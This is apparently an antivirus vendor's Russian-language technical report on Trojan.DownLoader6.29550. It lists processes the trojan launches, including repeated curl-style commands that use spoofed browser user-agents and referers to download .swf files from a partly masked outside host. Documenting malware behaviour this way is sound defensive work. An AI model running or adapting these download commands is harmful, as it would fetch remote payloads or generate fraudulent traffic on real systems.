Trojan.DownLoader6.29550

Техническая информация

Вредоносные функции:

Создает и запускает на исполнение:

%WINDIR%\iexplorer.exe /pid=13560
%WINDIR%\iexplorer.exe /pid=13424
%WINDIR%\iexplorer.exe /pid=12880
%WINDIR%\iexplorer.exe /pid=14128
%WINDIR%\iexplorer.exe /pid=12936
%WINDIR%\iexplorer.exe /pid=13400
%WINDIR%\iexplorer.exe /pid=6100
%WINDIR%\iexplorer.exe /pid=11708
%WINDIR%\iexplorer.exe /pid=11988
%WINDIR%\iexplorer.exe /pid=12188
%WINDIR%\iexplorer.exe /pid=10088
%WINDIR%\iexplorer.exe /pid=12220
%WINDIR%\iexplorer.exe /pid=14312
%WINDIR%\iexplorer.exe /pid=17496
%WINDIR%\iexplorer.exe /pid=17608
%WINDIR%\iexplorer.exe /pid=5060
%WINDIR%\iexplorer.exe /pid=18032
%WINDIR%\iexplorer.exe /pid=18048
%WINDIR%\iexplorer.exe /pid=17700
%WINDIR%\iexplorer.exe /pid=16120
%WINDIR%\iexplorer.exe /pid=16112
%WINDIR%\iexplorer.exe /pid=15768
%WINDIR%\iexplorer.exe /pid=15256
%WINDIR%\iexplorer.exe /pid=15544
%WINDIR%\iexplorer.exe /pid=15896
%WINDIR%\iexplorer.exe -A "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)" --header "Accept-Language: en-US" --header "Accept: */*" --header "Accept-Encoding: gzip, deflate" --header "Referer: http://www.bo###188.com/" -o data.tmp http://im###.ibet888.net/news/en/20120419.swf
%WINDIR%\iexplorer.exe -A "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; SV1; .NET CLR 1.1.4322)" --header "Accept-Language: en-US" --header "Accept: */*" --header "Accept-Encoding: gzip, deflate" --header "Referer: http://www.bo###188.com/" -o data.tmp http://im###.ibet888.net/news/en/20120419.swf
%WINDIR%\iexplorer.exe -A "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YTB720; GTB6; .NET CLR 1.1.4322)" --header "Accept-Language: en-US" --header "Accept: */*" --header "Accept-Encoding: gzip, deflate" --header "Referer: http://www.bo###188.com/" -o data.tmp http://im###.ibet888.net/news/en/20120419.swf
%WINDIR%\iexplorer.exe /pid=7812
%WINDIR%\iexplorer.exe -A "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 6.0; GTB6; SLCC1; .NET CLR 2.0.50727; Media Center PC 5.0; .NET CLR 3.0.30618; .NET CLR 3.5.30729)" --header "Accept-Language: en-US" --header "Accept: */*" --header "Accept-Encoding: gzip, deflate" --header "Referer: http://www.bo###188.com/" -o data.tmp http://im###.ibet888.net/template/ibet888/en/flash/MyFavorite.swf
%WINDIR%\iexplorer.exe -A "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.0.3705; .NET CLR 1.1.4322)" --header "Accept-Language: en-US" --header "Accept: */*" --header "Accept-Encoding: gzip, deflate" --header "Referer: http://www.bo###188.com/" -o data.tmp http://im###.ibet888.net/template/ibet888/en/flash/MyFavorite.swf
%WINDIR%\iexplorer.exe -A "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322; MS-RTC LM 8)" --header "Accept-Language: en-US" --header "Accept: */*" --header "Accept-Encoding: gzip, deflate" --header "Referer: http://www.bo###188.com/" -o data.tmp http://im###.ibet888.net/news/en/20120419.swf
%WINDIR%\iexplorer.exe -A "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1)" --header "Accept-Language: en-US" --header "Accept: */*" --header "Accept-Encoding: gzip, deflate" --header "Referer: http://www.bo###188.com/" -o data.tmp http://im###.ibet888.net/template/ibet888/en/flash/MyFavorite.swf
%WINDIR%\iexplorer.exe -A "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4321)" --header "Accept-Language: en-US" --header "Accept: */*" --header "Accept-Encoding: gzip, deflate" --header "Referer: http://www.bo###188.com/" -o data.tmp http://im###.ibet888.net/template/ibet888/en/flash/MyFavorite.swf
%WINDIR%\iexplorer.exe -A "Mozilla/5.0 (Windows; U; Windows NT 6.0; en-GB; rv:1.9.0.4)" --header "Accept-Language: en-US" --header "Accept: */*" --header "Accept-Encoding: gzip, deflate" --header "Referer: http://www.bo###188.com/" -o data.tmp http://im###.ibet888.net/template/ibet888/en/flash/Nickname.swf
%WINDIR%\iexplorer.exe -A "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; InfoPath.1)" --header "Accept-Language: en-US" --header "Accept: */*" --header "Accept-Encoding: gzip, deflate" --header "Referer: http://www.bo###188.com/" -o data.tmp http://im###.ibet888.net/template/ibet888/en/flash/Nickname.swf
%WINDIR%\iexplorer.exe -A "Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Maxthon)" --header "Accept-Language: en-US" --header "Accept: */*" --header "Accept-Encoding: gzip, deflate" --header "Referer: http://www.bo###188.com/" -o data.tmp http://im###.ibet888.net/news/en/20120419.swf
%WINDIR%\iexplorer.exe /pid=11556
%WINDIR%\iexplorer.exe /pid=11468
%WINDIR%\iexplorer.exe /pid=4172
%WINDIR%\iexplorer.exe /pid=11004
%WINDIR%\iexplorer.exe /pid=11176
%WINDIR%\iexplorer.exe /pid=11508
%WINDIR%\iexplorer.exe /pid=9364
%WINDIR%\iexplorer.exe /pid=9356
%WINDIR%\iexplorer.exe /pid=7892
%WINDIR%\iexplorer.exe /pid=9572
%WINDIR%\iexplorer.exe /pid=7336
%WINDIR%\iexplorer.exe /pid=9908
%WINDIR%\iexplorer.exe (загружен из сети Интернет)